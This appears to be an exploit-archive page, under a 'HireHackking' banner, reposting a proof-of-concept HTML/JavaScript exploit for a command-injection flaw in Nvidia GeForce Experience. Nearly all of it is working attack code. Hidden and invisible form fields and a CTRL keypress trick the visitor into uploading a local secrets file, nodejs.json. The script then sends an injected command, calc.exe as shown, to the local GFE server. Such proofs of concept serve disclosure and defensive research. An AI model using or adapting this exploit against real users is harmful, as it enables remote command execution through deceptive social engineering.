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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!-- 
POC for CVE‑2019‑5678 Nvidia GeForce Experience OS command injection via a web browser
Author: David Yesland -- Rhino Security Labs
 -->
<html>
   <head>
      <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
   </head>
   <body>
      <script>
         //Send request to local GFE server
          function submitRequest(port,secret)
          {
           var xhr = new XMLHttpRequest();
           xhr.open("POST", "http:\/\/127.0.0.1:"+port+"\/gfeupdate\/autoGFEInstall\/", true);
           xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
           xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
           xhr.setRequestHeader("Content-Type", "text\/html");
          xhr.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
           var body = "\""+document.getElementById("cmd").value+"\"";
          var aBody = new Uint8Array(body.length);
           for (var i = 0; i < aBody.length; i++)
             aBody[i] = body.charCodeAt(i); 
           xhr.send(new Blob([aBody]));
          }
          
          $(document).on('change', '.file-upload-button', function(event) {
          var reader = new FileReader();
          
          reader.onload = function(event) {
          var jsonObj = JSON.parse(event.target.result);
          submitRequest(jsonObj.port,jsonObj.secret);
          }
          
          reader.readAsText(event.target.files[0]);
          });
          
          //Copy text from some text field
          function myFunction() {
          var copyText = document.getElementById("myInput");
          copyText.select();
          document.execCommand("copy");
          
          }
          
          //trigger the copy and file window on ctrl press
          $(document).keydown(function(keyPressed) {
          if (keyPressed.keyCode == 17) {
          myFunction();document.getElementById('file-input').click();
          }
          });
      </script>
      <h2>
         Press CTRL+V+Enter
      </h2>
      <!--Command to run in a hidden input field-->
      <input type="hidden" value="calc.exe" id="cmd" size="55">
      <!--Hidden text box to copy text from-->
      <div style="opacity: 0.0;">
         <input type="text" value="%LOCALAPPDATA%\NVIDIA Corporation\NvNode\nodejs.json"
            id="myInput" size="1">
      </div>
      <!--file input-->
      <input id="file-input" onchange="file_changed(this)" onclick="this.value=null;" accept="application/json" class='file-upload-button' type="file" name="name" style="display: none;" />
   </body>
</html>